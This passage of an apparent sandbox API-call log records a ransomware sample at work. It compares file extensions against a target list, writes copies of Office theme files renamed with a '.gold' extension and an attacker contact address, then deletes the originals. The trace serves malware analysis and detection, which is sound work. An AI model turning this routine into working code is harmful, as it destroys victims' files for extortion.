returned -1 [0095.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.726] lstrlenW (lpString=".jpg") returned 4 [0095.726] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.727] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.730] lstrlenW (lpString="Executive.eftx") returned 14 [0095.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.844] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=21156) returned 1 [0095.844] CloseHandle (hObject=0x3c4) returned 1 [0095.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0095.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.845] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.845] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.845] GetLastError () returned 0x0 [0095.845] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x52a4, lpOverlapped=0x0) returned 1 [0095.878] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0095.879] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.879] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.879] SetEndOfFile (hFile=0x230) returned 1 [0095.879] CloseHandle (hObject=0x230) returned 1 [0095.879] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.879] SetEndOfFile (hFile=0x3c4) returned 1 [0095.881] CloseHandle (hObject=0x3c4) returned 1 [0095.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString=".doc") returned 4 [0095.882] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString=".docx") returned 5 [0095.882] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.882] lstrlenW (lpString=".pdf") returned 4 [0095.882] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString=".xls") returned 4 [0095.882] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString=".xlsx") returned 5 [0095.882] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.882] lstrlenW (lpString=".ppt") returned 4 [0095.882] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString=".zip") returned 4 [0095.882] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString=".rar") returned 4 [0095.882] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString=".bz2") returned 4 [0095.882] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString=".7z") returned 3 [0095.882] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString=".dbf") returned 4 [0095.882] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString=".1cd") returned 4 [0095.882] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString=".jpg") returned 4 [0095.882] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.882] lstrlenW (lpString=".doc") returned 4 [0095.882] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.882] lstrlenW (lpString=".docx") returned 5 [0095.882] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.882] lstrlenW (lpString=".pdf") returned 4 [0095.882] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString=".xls") returned 4 [0095.883] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString=".xlsx") returned 5 [0095.883] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.883] lstrlenW (lpString=".ppt") returned 4 [0095.883] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.883] lstrlenW (lpString=".zip") returned 4 [0095.883] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString=".rar") returned 4 [0095.883] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString=".bz2") returned 4 [0095.883] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString=".7z") returned 3 [0095.883] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.883] lstrlenW (lpString=".dbf") returned 4 [0095.883] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.883] lstrlenW (lpString=".1cd") returned 4 [0095.883] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0095.883] lstrlenW (lpString=".jpg") returned 4 [0095.883] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.883] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.883] lstrlenW (lpString="Grid.eftx") returned 9 [0095.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.884] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=18639) returned 1 [0095.884] CloseHandle (hObject=0x3c4) returned 1 [0095.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0095.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.885] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.885] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.886] GetLastError () returned 0x0 [0095.886] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x48cf, lpOverlapped=0x0) returned 1 [0095.887] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0095.888] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.888] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.888] SetEndOfFile (hFile=0x230) returned 1 [0095.888] CloseHandle (hObject=0x230) returned 1 [0095.888] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.888] SetEndOfFile (hFile=0x3c4) returned 1 [0095.890] CloseHandle (hObject=0x3c4) returned 1 [0095.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0095.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.891] lstrlenW (lpString=".doc") returned 4 [0095.891] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString=".docx") returned 5 [0095.891] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.891] lstrlenW (lpString=".pdf") returned 4 [0095.891] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString=".xls") returned 4 [0095.891] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString=".xlsx") returned 5 [0095.891] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.891] lstrlenW (lpString=".ppt") returned 4 [0095.891] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.891] lstrlenW (lpString=".zip") returned 4 [0095.891] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString=".rar") returned 4 [0095.891] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString=".bz2") returned 4 [0095.891] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString=".7z") returned 3 [0095.891] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.891] lstrlenW (lpString=".dbf") returned 4 [0095.891] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.891] lstrlenW (lpString=".1cd") returned 4 [0095.891] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.892] lstrlenW (lpString=".jpg") returned 4 [0095.892] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.892] lstrlenW (lpString=".doc") returned 4 [0095.892] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString=".docx") returned 5 [0095.892] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.892] lstrlenW (lpString=".pdf") returned 4 [0095.892] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString=".xls") returned 4 [0095.892] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString=".xlsx") returned 5 [0095.892] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.892] lstrlenW (lpString=".ppt") returned 4 [0095.892] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.892] lstrlenW (lpString=".zip") returned 4 [0095.892] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString=".rar") returned 4 [0095.892] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString=".bz2") returned 4 [0095.892] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString=".7z") returned 3 [0095.892] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.892] lstrlenW (lpString=".dbf") returned 4 [0095.892] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.892] lstrlenW (lpString=".1cd") returned 4 [0095.892] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0095.892] lstrlenW (lpString=".jpg") returned 4 [0095.892] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.892] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.892] lstrlenW (lpString="Hardcover.eftx") returned 14 [0095.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0096.198] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=350689) returned 1 [0096.198] CloseHandle (hObject=0x3b8) returned 1 [0096.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0096.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.404] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.405] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0096.409] GetLastError () returned 0x0 [0096.409] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x559e1, lpOverlapped=0x0) returned 1 [0096.452] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0096.460] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.460] WriteFile (in: hFile=0x3c8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0096.460] SetEndOfFile (hFile=0x3c8) returned 1 [0096.460] CloseHandle (hObject=0x3c8) returned 1 [0096.460] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.460] SetEndOfFile (hFile=0x38c) returned 1 [0096.466] CloseHandle (hObject=0x38c) returned 1 [0096.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0096.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.467] lstrlenW (lpString=".doc") returned 4 [0096.467] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.467] lstrlenW (lpString=".docx") returned 5 [0096.467] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.467] lstrlenW (lpString=".pdf") returned 4 [0096.467] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.467] lstrlenW (lpString=".xls") returned 4 [0096.467] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.467] lstrlenW (lpString=".xlsx") returned 5 [0096.467] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.467] lstrlenW (lpString=".ppt") returned 4 [0096.468] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.468] lstrlenW (lpString=".zip") returned 4 [0096.468] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".rar") returned 4 [0096.468] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".bz2") returned 4 [0096.468] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".7z") returned 3 [0096.468] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.468] lstrlenW (lpString=".dbf") returned 4 [0096.468] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.468] lstrlenW (lpString=".1cd") returned 4 [0096.468] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.468] lstrlenW (lpString=".jpg") returned 4 [0096.468] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.468] lstrlenW (lpString=".doc") returned 4 [0096.468] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".docx") returned 5 [0096.468] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.468] lstrlenW (lpString=".pdf") returned 4 [0096.468] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".xls") returned 4 [0096.468] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".xlsx") returned 5 [0096.468] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.468] lstrlenW (lpString=".ppt") returned 4 [0096.468] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.468] lstrlenW (lpString=".zip") returned 4 [0096.468] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".rar") returned 4 [0096.468] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".bz2") returned 4 [0096.468] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.468] lstrlenW (lpString=".7z") returned 3 [0096.468] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.469] lstrlenW (lpString=".dbf") returned 4 [0096.469] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.469] lstrlenW (lpString=".1cd") returned 4 [0096.469] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0096.469] lstrlenW (lpString=".jpg") returned 4 [0096.469] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.469] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.469] lstrlenW (lpString="Paper.eftx") returned 10 [0096.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.502] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=228746) returned 1 [0096.502] CloseHandle (hObject=0x3ac) returned 1 